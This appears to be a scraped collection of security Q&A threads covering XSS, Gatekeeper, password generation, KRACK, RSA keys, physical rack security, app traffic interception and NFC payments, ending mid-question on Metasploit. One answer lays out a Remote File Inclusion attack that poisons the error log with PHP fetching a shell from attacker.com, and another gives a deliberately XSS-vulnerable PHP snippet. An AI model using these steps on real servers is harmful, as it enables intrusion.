But when the site went for external review they pointed out that the these textboxes accept  text like <% some text and that it is considered as having stored XSS risk. The <% character combination is forgiven by the ASP.Net request validator somehow.

I cannot see a way of mounting an attack using this characters <%. Is the external evaluators observation correct in saying there is an increased XSS risk and if so how to possibly create an XSS vector?

No, printing <% in an HTML context doesn't make it vulnerable to XSS.

For an XSS attack you need to allow a letter after the opening bracket, as has also been discussed here. Starting with <% alone, you cannot construct an HTML payload. That said, it's a little suspicious that the XSS filter didn't go the whole way and filtered opening brackets followed by any character.

(Possibly, the auditors are worried about other attack vectors via embedded ASP code blocks but that's not related to XSS at all.)


Reflected XSS script passing through URL how to make it work and what are the preconditions for it to work? Trying to learn about security I set up the most simple website on my localhost consisting of one html page that a apache server serves. I first started trying and appending the JS script that would be executed to the end of a URL:
/index.html?message=<script>alert('XSS');</script>

Browser encodes it to:

/index.html?message=%3Cscript%3Ealert(%27XSS%27);%3C/script%3E

My understanding of the way this kind of attack vector should work is that attacker sends a similar URL to the victim -> victim clicks on it -> the script gets executed (not sure on the exact moment it should be executed?)

Questions:

Why doesn't it get executed?
How to make it execute?
What are the prerequisits of such an attack - maybe it is not enought just to have a simple web page?
When should this script be executed? After the DOM loads?

General explnation on how this should work would also be much appreciated. Thank you!

XSS attacks are based upon the fact that input becomes output to the end-user's browser. The most common attack is basically a PHP site containing

<?php
echo $_GET["message"];
?>

You would then pass this URL a parameter containing the javascript code.
If you want to set this up, create a something.php file on your web server, input the above code into it and then access http://your-server/something.php?message= in your browser. It should then display a popup containing XSS.

In a static HTML page, this is not possible, as it only generates content based on the server's static HTML code. XSS needs user-supplied code inclusion. The exclusion is, if the html loads a vulnerable javascript code, that allows user-supplied input.

The primary point of XSS is that an attacker wants to include HIS code to YOUR website, without actually hacking the web server. This is only possible with server-side programming languages, which output something, the attacker previously put into the server.

Basically the hacker wants the HTML to look to the browser like this

Foo

instead of

Foo

Think for example of a forum or comments on an article. The user should be allowed to leave his remarks. The server needs to save this and present the same comment to other users. If the comment itself contains javascript code and the server program does not mitigate this, it would output the same code as part of the comment block.

As to when this is loaded in the browser, this is not easy to answer. It depends on where the hacker's code is included in the page body or the subsequently loaded javascript files. If it is included as a javascript tag in the main HTML, it will be loaded after the DOM load was completed.
Especially as mentioned before, the XSS vulnerability could also happen inside a javascript file (which takes user input, for example a URL and loads it). In this case it is not possible to say, when exactly the code will execute. You could bind this javascript code to a button, a textbox onblur() event or a timer.

EDIT:

Elaborating on the javascript attack, here's what you would put into your server file

The first two lines, bascially take all GET parameters and split them into an array (taken from here). The third line then simply outputs this into the HTML page. Of course this could also be done by any other DOM manipulation from the executed code.


Does GateKeeper on OS X 10.8 offer any reasonable protection from exploits? OS X 10.8 comes with GateKeeper, which basically has three settings:

Allow only apps from Mac App Store
Allow only apps from Mac App Store or that are signed with a valid Apple Developer certificate
Allow any apps to be installed.

I typically recommend that all users leave it set to 1. unless they are installing a third party app that they trust. My thinking is that you're much less likely to be hit by a browser-based exploit that might download a malicious application onto your machine. Does this actually make a difference for things like browser-based exploits?

Obviously it was aimed at stopping installations of "fake" programs, but is it also a useful tool to reduce the surface area of something like a browser-based remote code execution exploit? Or is that sort of exploit immune to the protection that GateKeeper offers, since the browser itself is already trusted?

No.  This is not a benefit of Gatekeeper.

The primary benefit of Gatekeeper is that it prevents the user from being fooled into installing a malicious application.  It prevents social engineering attacks.

(Also, if you are downloading an application over an insecure channel, it prevents a man-in-the-middle from changing the binary to something different and causing you to install malware.)

Gatekeeper does not prevent drive-by download attacks that exploit a vulnerability in your browser to compromise the browser and then trigger execution of malicious code.  If your browser has a remotely exploitable vulnerability, and you browser to a malicious website, you are hosed.  At that point, it doesn't matter whether you've got Gatekeeper enabled or not: you're hosed.  This is not the scenario that Gatekeeper tries to protect you from.  That risk is mitigated in other ways (e.g., by having browsers auto-update themselves; by using sandboxing and privilege separation in the browser architecture; and so on), but not by Gatekeeper.


What are the security reasons for disallowing the plus sign in email addresses? My question is based on this tweet after I commented about forbidding + symbols in email addresses. The tweet says, "This is a measure we've taken for security reasons."

This can be frustrating and inconvenient for people that have (or use) plus signs in their email address, and I'm sure web sites don't intend to do that. I'm unaware of the security vulnerabilities related to using the + character; is this something I should change to improve my own security? What is the security reason for a web site to disallow that character on an email field?

Update: Meetup Support responded positively. Turns out it's more of a UX issue than a security one. They clarified in this tweet that they disallow + to prevent spam (?) and they acknowledged a suggestion for improving the user experience. (My intent here was not to gripe about Meetup; let's be gentle! I wanted to make sure I was not missing something important in my own web sites that receive email addresses.)

There is no security vulnerability per se with having a '+' in your email address.  It's permitted as per RFC 2822, and not particularly useful for SQL or other common forms of injection.

However, many systems (let's call Meetup a system for this purpose) enforce security through whitelisting, not blacklisting.  Someone defined a limited list of characters they expected to see in email addresses (probably upper, lower, numeric, ., _, and -) and wrote a filter to block anything outside that list.  And they didn't think anyone would use +, so you're out of luck.

This article describes how to set up Postfix to tag, and to use '-' instead of '+' because:

  However, during a recent discussion on the Postfix user list, it was mentioned that some websites (particularly banks) use JavaScript to try and validate email addresses when they are entered into online forms, and that many don’t allow the plus symbol as a valid character in an email address.

I switched from '+' to '-' over a decade ago, for similar reasons.


Is the following password-generator secure? i use the following password-generator (python) and would like to ask if the generated passwords (usually 32 characters and more) are random enough.

def pwgen(l=32):
    from random import Random
    rng = Random()

    a = "qwertzuiopasdfghjklyxcvbnm"
    n = "1234567890"
    r = "23456qwertasdfgzxcvbQWERTASDFGZXCVOB"
    l = "78901yuiophjklnmYUIPHJKLNM"

    all = a + n + r  + l

    pwl = 32
    try:
        pwl = int(l)
    except:
        pass
    if pwl < 8  or pwl > 128:
        pwl = 32

    pw = []
    for j in range(pwl):
        pw.append(rng.choice(all))

    return("".join(pw))

the password produced look the following way:

cwVPBgYt5seoO97sg8fszNptAhnb60Jg
W3mkuLMH0HCiJ8L040pmMys8yvhncwI8
kro01d2Z2ft51WG8lmy9d5el50aZ7CUg
10QfutP1fvKdR8oVhdTt0xR0r5k7w7Md
OxRjsqs2rCjyVbalvhuw3nrjTu9096XF
6jjvkIvyeoei3YIz84XAgdsDRjIGjyRu
2bjnHvubpv2z2DOF9fjFDfLtdnf4mL3T
UhbhNvwdSKOj14hmbca7t2UiwRaJNwrC

a = "qwertzuiopasdfghjklyxcvbnm"
n = "1234567890"
r = "23456qwertasdfgzxcvbQWERTASDFGZXCVOB"
l = "78901yuiophjklnmYUIPHJKLNM"

all = a + n + r  + l

Why is this so complicated? By including some characters multiple times, you make those characters more likely to appear in passwords, which weakens the password. By making your password string so complicated, you make it hard to determine how secure the passwords are.

To get an even chance of any character, just list all of them once. Also, you can dramatically simplify this using the string module.

import string

all = string.ascii_letters + string.digits

Another problem is that the random module's documentation says it shouldn't be used for cryptography:

  Python uses the Mersenne Twister as the core generator. It produces 53-bit precision floats and has a period of 2**19937-1. The underlying implementation in C is both fast and threadsafe. The Mersenne Twister is one of the most extensively tested random number generators in existence. However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes.

  [...]

  Warning: The pseudo-random generators of this module should not be used for security purposes. Use os.urandom() or SystemRandom if you require a cryptographically secure pseudo-random number generator.**

So, use random.SystemRandom() instead:

import random
import string

# Consider adding string.punctuation
possible_characters = string.ascii_letters + string.digits

def generate_password(length=32):
    rng = random.SystemRandom()
    return "".join([rng.choice(possible_characters) for i in range(length)])

Since we know exactly how many possible characters there are (62), and we know that they should be randomly distributed, we can say with fairly high confidence that a password generated by this scheme will on average require (62^32) / 2 (about 10^57) attempts to guess.

That said, a 32 character password is probably secure enough, even if it's not optimally random.


How do I check if my router is patched against the KRACK exploit? Numerous Google searches found little useful information. The most comprehensive list is at http://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=228519&SearchOrder=4

and most vendors are reported as "Unknown".

Is there any way to check if my router is patched against WPA2 KRACK that doesn't involve finding and running a hack tool?

From my point of view, you only have two options wait to a vendor response or check with a tool.

If you prefer to wait, check this list. The list is accurate and updated frequently.

On the other hand, I think that you should check yourself the router using the krack-ft-test, released by the author who discovered the vulnerability. Remember that this tool only tests the vulnerability you are not doing and aggressive attack.


How do I improve the physical security of a rack cabinet? I've got an 8U 19-inch server rack cabinet with two locks - one on the front panel, one on the rear panel. The locks are small cam locks, but the cam part is rather thin and flimsy-looking.

I could easily break them open in a couple of seconds with a crowbar. Even worse, I can use a pair of pliers and a screwdriver to open them, by twisting the centre pin and pushing the inner plate down.

How can I add extra physical security to the rack, without buying a new one? I'm primarily worried about someone stealing my hardware, especially the drives. It's in my house, so I can't do much in the way of physical protection on the room. My primary threat would be a burglar with lock picking experience, or a crowbar.

A few specs on the rack:

8U standard 19" rack
Side panels are 1.6mm steel
Top and bottom panels are 2mm steel
Bottom panel has mounting holes for brackets which allow me to bolt the unit into the floor, to prevent theft of the entire rack.
Rear panel is 1.6mm steel with a few holes at the bottom for cabling, and angled slats for airflow. Locked with a cam lock.
Front panel is toughened glass, with 1.6mm steel frame. The glass looks like it's actually two panes with a wire grid inside it. Locked with a cam lock.
With the front panel locked, they can't get the servers out. Major problem here is that if a burglar smashes the glass, they can reach in and rotate the cam, unlocking the front panel.

I have power tools available, so I can drill holes in the rack for attachments if necessary.

Any ideas?

In a home/small office setting:

One thing you can add is to anchor the rack to the floor. Also use Kensingtons to secure your hardware to the Anchor or the rack frame.  Use front panels for your servers (these can be locked picked in under a minute if you are handy though) and consider putting a chain around your rack so the door can't be opened (padlock secured).

While this may seem weaker (considering you have a locked rack with steel panels), it is just a cheap and extra layer to slow a burglar down.

In the end physical security like locks and anchors can only slow down an attacker so much.

You might also consider putting the rack in  a locked room and/or install an alarm system.

Cheap
If you are on a too low budget to afford alarms,  you might try to attach disk-brake burglar alarms for motorbikes to the rack,  they are cheap (30 euros) but they can make a very very loud noise for a long period of time. They detect vibration (when you open the door when it's armed or when someone is fiddling with it)


Protecting IP on a remote server Apologies in advance if this question is a bit vague.

I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely from my house.

I just started worrying about intellectual property, though. How do I prohibit any kind of access by anyone besides myself given that the server is housed in their building? What's the best I can do? Or at the very least, how do I lock everyone out of one of the specific directories, let's call it /usr/boxfiles/bbox

The server is ubuntu, btw. I use ubuntu on my local pc, but I'm no expert. Would it work to get rid of the source files after I compile and get the executable?

You don't.

If a device is in your physical possession, then you can have unlimited access to it. If it is someone else's physical possession, then they have unlimited access to it.

If you want to protect yourself from them, then don't let them have your server.


Can killerbee bypass AES-128 security? I found information about KillerBee which sniffs Zigbee networks. Here is the tutorial: https://www.willhackforsushi.com/presentations/toorcon11-wright.pdf
My question, is since Zigbee Xbee can use AES-128 encryption key, and from the few I know, AES is unbreakable, how can a 40$ equipment bypass this? Am I missing something here??

If you read the slides you linked you can see that there are several methods used to extract the encryption key.
If the encryption key is known, AES can be decrypted!


Storing application secrets safely on Linux I have an linux application that needs to read a secret to decrypt some data. The application also allows the users to change the encryption password during runtime. The application will run under a separate user account and the secret is currently in a file owned by that user. I am trying to think of ways to improve this situation since the password is in plaintext in a file.

The application could be started as root and then drop privileges to the application user. This way the secret file can be owned by root but then the password change scenario breaks unless I am running another daemon as root.

I am basically looking to prevent the secret from being in plaintext on the disk, and without a human in the loop to bootstrap the encryption process, the best that can be done is to make it harder to get to the secret even if someone gets code execution.

Can anyone share any suggestions on how I can improve the current situation? Is keyctl something that is applicable here or is that normally just used to store kernel secrets?

Any suggestions will be appreciated!

Your service should not run as root generally. Using a separate user to store the secret is a wise precaution, but storing files with root ownership is no better for secrecy than using another dedicated user for this. As long as your secret file has permissions 600 or less it will be safe from other non-root users. Anything running root has full access anyway. (unless you are running some complex SELinux setup)

It may be helpful to use two users for this single application to isolate secret management from normal operation. Either have two daemons running with real-time communications, or have utility commands to operate on the secret, gaining the necessary privilege (user or group-based) via sudo.

You should consider potential attack vectors.

SQLi if properly configured does not grant filesystem access, but Path Traversal attacks could. There are other types of attacks on your application that you should secure against.
Exploits in C libraries (i.e. OpenSSL running your HTTPS encryption, image processing, etc.) might be possible. Using a separated user on network-exposed processes can help limit the scope or add difficulty to an attack.
Break-ins from other attack vectors could be an issue. (SSH, other services on the machine) Make sure anything with the potential for root access is well secured.

All of these considerations should help you to secure the secret itself. Now the question is, does the secret really need to be stored in plain?

At the most basic level, yes, the secret must be stored somewhere for it to be usable. It at least has to be stored in Memory, but also permanent storage of some kind is necessary.

Beyond of user separation we've discussed, it could be helpful to off-load secrets to a separate Hardware Security Module, or even a separate mini-computer. (i.e. Raspberry Pi) There is some discussion of physical separation here.

There are very few cases where the secret can be encrypted itself in permanent storage.

If your concern is hard drive theft, (leaving the rest of the machine behind) then you could have a boot-up script that queries some of the other hardware for unique identifiers, and derives an encryption key using a good Password-Based Key Derivation Function; to decrypt the secret.

If the client can provide a portion of the secret, that would be the helpful. I've outline a way to derive decryption keys from user passwords and session tokens here. This is an elaborate yet effective system which focuses on limiting the amount of time a secret is stored, even in Memory. (assuming you do not require an automated password reset)


How to block network scans with pfsense? I am using pfsense as a firewall, and I would like to know how I can stop network scans from enumerating open services and ports.

Two answers to this question:

You can't
Port Knocking

Services exist to be connected to. If you have a service, then you need to allow clients to connect to it, and once you do that, it is open to be 'enumerated'. You can't block someone from trying a service to see if it responds because you need that ability for clients to connect to you.

... Unless you obfuscate the service port. Port Knocking allows you to open a service port to an client IP only if the client IP performed certain actions (usually pinging certain port numbers in a particular sequence). This is not a 'secure' method, but it does effectively hide a port from unauthorized 'enumeration'. The problem with this scheme is that all clients need to know the secret knock before they are allowed access, which is not good for public services.

But even with Port Knocking, people can still try to enumerate your ports, they just might not get the true ports of the services.


Can a Firefox extension read preferences or data stored by other extensions? Is it possible for a Firefox extension to read preferences or data stored by other Firefox extensions?

For example, could Firefox extension A, read any preferences or data stored by Firefox extension B?

Absolutely. Legacy Firefox extensions can do anything. They can access each others' preferences, snoop your Google password, read or write arbitrary files belonging to other extensions, read or write arbitrary files belonging to other software... anything.

Firefox is moving away from older overlay and bootstrapped extensions towards more isolated SDK and WebExtensions, but it's not there yet, and the older extension types are still fully supported.

You should absolutely only install trustworthy extensions, which is partly why Mozilla reviews extensions listed on AMO, and increasingly discourages unreviewed, unsigned extensions.


Why do a lot of Android apps (like Linkedin) require many unrelated privileges? I wanted to install the Linkedin app on my Android phone and I was shocked when it asked for nearly all possible permissions including reading all of my private data and calendar data.

Why does any application like Linkedin which is probably implemented as a simple webview possibly need access to such sensible data? Can I consider this as spyware?

@Stolas has already explained that the only way to be sure what an application does is to reverse engineer it and inspect its code, and @RoryAlsop already described why such access permissions are required from the application architectural point of view. But there's one thing that I feel I should add.

I think there's not much to worry about here. Why? LinkedIn is a fairly big player and as such under constant scrutiny of the public eye, like all the big ones are. If they were up to no good and trying to access data you didn't agree to in their TOS, and/or otherwise misuse them, they would have to deal with big problems keeping that under the rug and risk huge loss in their reputation and credibility, possibly even be a subject to legal prosecution and financial loss that would come with it, if it were ever to become public knowledge.

You see, these apps aren't developed by a few tightly controlled developers kept in some basement and only allowed access to daylight once thoroughly brainwashed for any residual disclosing information. I'm being slightly sarcastic here, but I believe that living under constant paranoia is even more damaging to one's mental health than my opinion compressed in a few lines could ever be. Anyway, if LinkedIn (and this goes for any other big player in the field of social networking out there) was misusing your personal information in a way that is not clearly described in end user agreement (or other such documentation) you agreed to upon signing up for their services, and/or installing their software, chances are extremely big you'd be reading about that in the news and LinkedIn wouldn't exist anymore;

One of the developers would suffer guilty consciousness and blow a whistle on them to relieve the pressure and hopefully sleep better. Or,
an independent researcher would find interesting inner workings of the code he/she just reverse-engineered from a signed install package LinkedIn is publishing. Or,
a sleepless networking expert (not to be confused with script kiddies) would find some such indicative network packets being exchanged between his test client that he setup and a LinkedIn server, that the downloaded app was responsible for. Or,
an IT security professional will be asked to assess potential threats some company faces with their BYOD policy. Vulnerability assessment will include some of the most common Android device software, and the mentioned LinkedIn Android app will be most likely among the first ones tests will be conducted on.

Regardless who would be the first to discover it, LinkedIn could either be blackmailed and settle it privately (which could still leak eventually), or have to defend themselves in front of the eyes of the public. Both of which would incur cost to the corporation, something they don't appreciate, not in the least bit. And since alternatives to illegally exploiting your personal data are a lot cheaper, that's what they do. They test their code thoroughly for compliance with all kinds of regulations, sign them with certificates that prevent install package tampering, and they're proud to display that to end users too. The rest is then between you (your free will to disclose your personal information to whomever you want), and LinkedIn (the ones that will gladly take it and turn it into profit). This said, it's up to you to decide, how intrusive you'd find such social networking symbiosis, and if you should call it spyware.


How are WPA2 passwords encoded? I'm trying to figure out a good John The Ripper rule for WPA2 that won't waste time testing impossible passwords. Thus the question - are there any limits on what's allowed in a WPA2 password? Can it be any binary string or are we limited to ASCII or a particular encoding? Is its length any limited? I remember that there's a minimum password length limit.

According to the 802.11i-2004 specification (link to download 802.11i-2004 pdf):

  A pass-phrase is a sequence of between 8 and 63 ASCII-encoded characters. The limit of 63 comes from the desire to distinguish between a pass-phrase and a PSK displayed as 64 hexadecimal characters.


How can I isolate suspicious executables witout deleting them? Windows Defender is always notifying me about some malware but it can't delete it.
I know that executable (it's a testing virus). So how can I isolate that, so Windows Defender can't find it anymore and if the virus really contains malware that it can't do anything to my computer?
Shall I create an archive?
Please help
Thanks, K.NaN

What I would use is a virtual machine with Windows Defender turned off. Overall, having a malicious executable on your actual PC is not a good idea and you should always do this kind of testing on a disposable virtual machine.


Is the encryption schema of public key algorithms generally known? I understand the difference between public and private keys, but how exactly is data encrypted using the keys? And is the encryption schema of for example PGP known? Is it open source or at least known what it does step by step?

From applied cryptography:

  If I take a letter, lock it in a safe, hide the safe somewhere in New York, then
  tell you to read the letter, that’s not security. That’s obscurity. On the other
  hand, if I take a letter and lock it in a safe, and then give you the safe along
  with the design specifications of the safe and a hundred identical safes with
  their combinations so that you and the world’s best safecrackers can study the
  locking mechanism—and you still can’t open the safe and read the
  letter—that’s security.

PGP generally uses RSA to encrypt keys although others can be used.

RSA is comically simple:

encrypt: c = m^e mod(n).

decrypt: m = c^d mod(n).

where c = ciphertext, m = message , nd=private key, ne = public key

Then the message is further encrypted with a symmetric cipher. While this is generally AES, OpenPGP uses CAST


Can I get a public key from an RSA private key? As far as I remember you encrypt the message using public key and decrypt it using private key. My question is whether it is possible to get a public key from an RSA private key. For example if I have a key like this:

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQCtrKVnwse4anfX+JzM7imShXZUC+QBXQ11A5bOWwHFkXc4nTfE
Or3fJjnRSU5A3IROFU/pVVNiXJNkl7qQZK5mYb8j3NgqX8zZJG7IwLJ/Pm2sRW5Q
j32C/uJum64Q/iEIsCg/mJjDLh1lylEMEuzKgTdWtoeLfxDBL2AJ20qXzQIDAQAB
AoGBAKNXi0GpmjnCOPDxLFg5bvQVfhLSFCGMKQny1DVEtsfgZmbixv5R2R41T4+d
CHJMdEsUFFJ6I7CRLTcg1SDU8IhcAWCBRSNeVuomCHlQG16ti8HxwhiwIcjvDz/z
NC2sL5ZJ2eJnhbtXLdf6pxxO1pA5vLp1AX06IaETO977XvupAkEA+ZgtGZybyUkf
tEA3ekXc5eLoW+zgU0C1fATWcIZ8Iq5YV1BW+3oAzf8HgIbkQh4LM2qa6An3l+vW
NXR4wICHkwJBALIhrcdJqKw36qiyenq+m78klp5SnurQifVt0Sy1GMWyOUqYz5jK
t9sGo9Qn6GDuYe/XGXKWQW25PkEYXxxPPx8CQQCpICyvRidp5VrOURVGjUB5pZ+9
am02/In9V2nXJcnH1kuWHqJSFQGmlEEJHl5dTu5YEMyWnupezzd/UUThbDZxAkAz
TNO5QxNalbf04YG4e9Bq2eSur+iog2pXzkqhb3404UDypNOUkz0jzOO9o8ieschu
xCnGAFPTf7fYE2bAxmnNAkEA0/3bdsvJclquypqP9CQeQnxGwQtWz6+yn07gj3U1
V19mdeKCUZWklRarrcr67u9DdEx+JowyEY/ppzgeQtW01g==
-----END RSA PRIVATE KEY-----

can I get a public key?

can I get a public key?

It's easy using openssl rsa:

$ openssl rsa -in the-private-key-from-your-question.pem  -pubout
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtrKVnwse4anfX+JzM7imShXZU
C+QBXQ11A5bOWwHFkXc4nTfEOr3fJjnRSU5A3IROFU/pVVNiXJNkl7qQZK5mYb8j
3NgqX8zZJG7IwLJ/Pm2sRW5Qj32C/uJum64Q/iEIsCg/mJjDLh1lylEMEuzKgTdW
toeLfxDBL2AJ20qXzQIDAQAB
-----END PUBLIC KEY---

If you want to get an idea of what is contained in a key file, you can pass the -text option to see a human-readable (sort of) debug dump. This way you can see that a key file contains both private information but also the public information. Especially it contains the modulus and publicExponent which fully describe the public key:

$ openssl rsa -text -in the-private-key-from-your-question.pem
Private-Key: (1024 bit)
modulus:
    00:ad:ac:a5:67:c2:c7:b8:6a:77:d7:f8:9c:cc:ee:
    29:92:85:76:54:0b:e4:01:5d:0d:75:03:96:ce:5b:
    01:c5:91:77:38:9d:37:c4:3a:bd:df:26:39:d1:49:
    4e:40:dc:84:4e:15:4f:e9:55:53:62:5c:93:64:97:
    ba:90:64:ae:66:61:bf:23:dc:d8:2a:5f:cc:d9:24:
    6e:c8:c0:b2:7f:3e:6d:ac:45:6e:50:8f:7d:82:fe:
    e2:6e:9b:ae:10:fe:21:08:b0:28:3f:98:98:c3:2e:
    1d:65:ca:51:0c:12:ec:ca:81:37:56:b6:87:8b:7f:
    10:c1:2f:60:09:db:4a:97:cd
publicExponent: 65537 (0x10001)
privateExponent:
(…)


What is the difference between a digital signature and whole message encryption? I am newbie in information security I am trying to understand the difference between a digital signature and encryption of a message.

Lets consider simple example of email message.

I understand how each of methods works, but don't understand the real value of using one instead of another.

There are two parties anyway. For example Bob and Alice. Bob has generated a key pair (public + private).

Asymmetric encryption - message is encrypted by sender that has private key. Bob encrypts message with its private key, sends it to Alice, Alice as well as anyone else has access to Bob's public key, so Alice can decrypt and read message as well as encrypt an answer with Bob's public key and send it back.

a) Anyone can intercept communication and read Bob's message, but no one can encrypt new message and send it to Alice, because message can be only encrypted with private key.

b) Message integrity is obvious
Digital Signature Bobs calculates hash of plain text message, encrypts this hash with its private key and sends plain text message with a chunk of data called digital signature to Alice. Alice receives message, decrypts signature with Bob's public key, verifies if received message produces the same hash as was stored inside signature.

a) Anyone can modify message, but hash calculated by Alice won't be the same. Anyone can intercept and send its own message, but Alice is waiting for message from Bob and will try to decrypt signature with Bobs public key.
b) Message integrity also obvious.

I don't understand a big difference between these two methods, I mean what is the value of each. In both methods we are using asymmetric encryption. Each method provides message integrity.

Please explain what is the main difference between these ways of encrypting data?

You have got that wrong, at least the encryption.

Asymmetric Encryption is done using public key of the receiver. Therefore it provides Secrecy (nobody without private key can not read the message). But it does not provide Integrity -- anyone can encrypt any message and send it to you with your public key.

Wikipedia is a good friend:

Digital signature works the other way round (as you describe). It does not have to be a hash. It provides Integrity itself, but also Authentication (you know who was the author of the signature -- you are the only one with that private key).


What's the most secure way to circumvent encryption to enable password recovery? I have a web app (which I've talked about here before). Users can use it to save people's contact details. These contact details are encrypted to ensure that they are difficult to get at if they're leaked.

The encryption system is also designed so that administrators can't access the data either. The encryption key is based on the user's password.

I'm looking into ways to enable password recovery. The problem here is that a forgotten password, at the moment, also entails a total data loss - since the key is based on the password, if you don't know your password then your key can't be worked out, and your data can't be decrypted. Not ideal.

I have a couple of ways to solve this:

Store decryption keys. This seems like a terrible idea from a security perspective, so I'd really rather not do this if it's at all avoidable.
Have two passwords. One to get into the account, one to be used for the encryption key. This is an impact on the users - they have to remember two passwords.

There may also be other valid methods that I can't think of. Neither of these seems greatly secure - or am I wrong? What secure ways are there of doing this?

To continue @Matthew's thought, let's make this very simple: do you want your admins to have access to user data or not?

I have never seen a system that completely prohibits admins from accessing the data, and also allows data recovery in the case of password loss... those two really seem contradictory.

All of the cloud services I can think of with the "we can't access it either" approach also have a data wipe as part of password recovery process. Examples:

Google Chrome passwords / bookmarks on their Dashboard.

The top 4 cloud storage providers on this list all have a policy of "You forgot your password? Too bad, byebye data!".

EDIT:

The above assumes that you want a standard, light-and-fluffy user registration / recovery process. @Xander points out that if you're willing to put some extra burden on the users then you have options.

As you suggest in your question, you can (for example) put an encrypted copy of the decryption key on the server with the files - as long as you've encrypted this key with something else, like a key derived from a second password, or a key stored in a key file that the app generates as part of the registration process. (but then if the user leaves the recovery key file on the same device that the app is on, you negate all of the security).

At the end of the day, if they forgot their password, who's to say they're trustworthy with this stuff either? I'm not sure it actually solves the core problem of "make your system idiot-proof".


How long should a browser session last? I have two online accounts from different banks, one bank expires my session faster than the other, it's  quite annoying.

I was wondering how long (or short) should a session be for it to be considered safe enough but not annoying?

Generic answer: ideally, the session should be exactly as short as possible, the limit being, indeed, the user's annoyance.

You make sessions because the user would not accept to reenter his password for every single page request. A session is a deliberate, controlled weakening of your security model; you accept it because otherwise the site would be unusable. However, your interest, on the server, is to keep sessions short.

Now, of course, this is a trade-off. User's annoyance is not binary. A bank will balance their own feeling of security against their perception of the user's annoyance (and the importance thereof -- the bank knows that it can thoroughly abuse the user, since bank account owners are somewhat "captive"). Apparently, your two banks chose distinct compromises.


how to detect the URL an android app uses i want to know how to detect the URL an android app uses. Is there any way or can we create any other android app to find the URL my app is using.

The easiest way to do this is to run a debugging/security web proxy like Burp Suite, Charles, or Fiddler on a machine, and then set the Android phone to use that proxy. Most apps will obey the device proxy rules, and you can see the host and, if not using HTTPS, the full URL.

If it is using HTTPS, you will also need to install the proxy's own certificate on the phone to enable it to man-in-the-middle the connection. Some apps use certificate pinning to make this harder.

Alternatively, use a technique to enable you to sniff the traffic with Wireshark. Frequently I use a hostapd based AP using a USB wireless dongle to do this. Again, HTTPS makes this more awkward.

If neither of these work, you can retrieve the app from the device and then decompile it and find any strings or URLs in there.


Pentesting Web Server for Remote File Inclusion For educational purposes, I am in the process of pentesting a web server of mine(running on Windows) where there is a Remote File Inclusion vulnerability. I can already get simple things like command output for ipconfig and so on, displayed on the page. But now I am wondering if I can get a shell uploading some php code to that server and getting it to execute and connect to a Kali box where I can have a netcat listener open? Any ideas?

Cheers!

Generally there are two ways you can upload a shell to a server.

Use RFI to execute PHP script that places shell

You place a text file on another webserver that contains php code to place a shell on the server then you include this file. You can place the shell on the server in various ways.

Use FTP/HTTP/... module of php to download the shell from a server
Place the BASE64 encoded shell in a variable and write the decoded content to a file

I suggest you to use the second option because it does not rely on modules that might aren't installed or disabled on that specific server.

Use the RFI as an LFI and execute PHP code directly

In most cases RFI vulnerablities can be used to include local files too. So you can use it as an LFI which can be helpful. In the first step you use a script to perform an HTTP request to that server. You use cURL,... because you don't want the specuial chars to be converted into htmlentities... Your request could look like this:

http://victim.com/i_dont_exist.php?code=<?php file_put_contents("shell.php", file_get_contents("http://attacker.com/shell.txt")) ?>

You want this to cause a 404 error because this should be writen to the error log. This is located in /var/log/apache/error.log when the victim uses apache and a default configuration. Then you call the RFI as an LFI to include the logfile and to execute the PHP code. For example:

http://victim.com/index.php?file=../../../../var/apache/error.log

Then the PHP code will be executed and the shell will be placed.

// A problem you will face when you start a netcat session using a php script is the script timeout. PHP scripts executed through a webserver have a timeout to prevent processes that run forever. I think the default value for this is 60 seconds which means after 60 seconds your backconnect will be closed. This is why many hackers dont want to run their malware as a thread of the apache daemon.


Is building an NFC payment app without a secure element like Apple Pay fundamentally insecure? Suppose I work for a bank and am asked to write an NFC payment app for the iPhone 6 or Android but not use Apple Pay. To simply send the credit card details to the reader via NFC.

Now assume I'm not storing the credit card details using a one-one hash that the credit card company at the other end will match to validate the payment. Assume I'm simply giving the credit card details to the reader, in a similar fashion to a shop-assistant manually typing in the credit card numbers into the reader when the magnetic strip fails.

To do that - I've got to store the credit card details in either un-encrypted, or two-way encrypted fashion on the iPhone or Android.

If I store it as unencrypted on the iPhone or Android - then any other app could read the data and potentially send it on for nefarious use. (Similar to the way that FileApp works).

If I store it as encrypted on the iPhone or Android, then it has to be a two-way encryption, and then any other app that uses that encryption mechanism can read the data from the phone. (Ie - you could obtain the encryption mechanism by reverse engineering LLVM bytecode of my application).

My question is: Is building an NFC payment app without a secure element like Apple Pay for iPhone or Android fundamentally insecure?

The information stored on a handset using HCE for contactless payments is probably limited in some ways (time, usage or both).

Take Google Wallet (the HCE-version): Google states that

  You will need to be connected to the internet in order to unlock the app with your 4-digit security PIN and tap and pay in stores. However, if you set your PIN timeout in the app settings, you can be offline for up to 24 hours and still tap and pay without being connected to the internet.

This sounds like the dynamic per-transaction data the phone creates for every transaction will only be valid for a limited timespan. Ideally, the used keys/secrets would be replaced every time the phone is able to connect to Google Wallet.

Some Android phones also support a hardware-backed keystore, which allows creating an RSA key inside a protected part of the system; the OS will only allow API users to perform private key operations, but will never reveal the key itself. This could presumably be used to emulate the behavior of a dedicated secure element (I don't know if the key formats used are compatible with the EMV specification, though. Physical secure elements also have the advantage that they can be directly connected to the NFC interface of the phone and detect whether they are communicating with an actual NFC reader or with software on the application processor).

Of course, if the phone can be completely controlled by an attacker (e.g. by exploiting some security bug in the Android framework or in the Linux kernel, which both have happened before), it might be possible to copy (or relay in real time) all necessary data to authenticate to the Wallet servers and sniff the user's PIN while it is being entered. This would (hopefully) be caught by the HCE operator (e.g. by looking for concurrent requests using the same credentials from different network locations).

Note: I interpreted your requirement of "not using Apple Pay" as "not using a secure element like Apple Pay does", since it seems unlikely that Apple will be allowing competing contactless payment applications on iOS. (There currently isn't any NFC API, and even if they were, I very much doubt that NFC payment apps could be distributed on the App Store). Android applications, on the other hand, could not be using Apple Pay for obvious reasons.


Metasploit automate actions when reverse shell connects I have used metasploit's netgear_wnr2000_rce to gain root shell access on a linux embedded device (no option for payloads).

